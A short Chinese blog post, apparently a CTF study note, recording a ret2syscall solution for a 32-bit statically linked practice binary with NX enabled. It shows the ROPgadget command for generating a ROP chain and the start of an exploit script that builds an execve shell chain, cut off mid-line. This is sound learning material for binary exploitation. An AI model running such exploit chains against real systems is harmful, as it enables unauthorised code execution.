学了学pwndbg的使用,文章在这里:gdb+pwndbg食用指南
这篇博客注定是一篇水文,因为昨天做了做XCTF攻防世界上的题目,基础题都做不来,那题应该是ret2text的内容,还是太菜,没有深刻理解原理,导致做不出,对于ret2syscall现在理解的不深刻,在这里记录一下是怎么做的吧,原理懂了再补上。
查看一下文件的基本信息
32位静态链接的程序,开启了NX保护。
由于是静态链接的,所以我们可以使用ropgadget工具生成一个ropchain
命令为:ROPgadget --binary rop --ropchain
(rop为文件名)
完整的exp为
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a4ad) # mo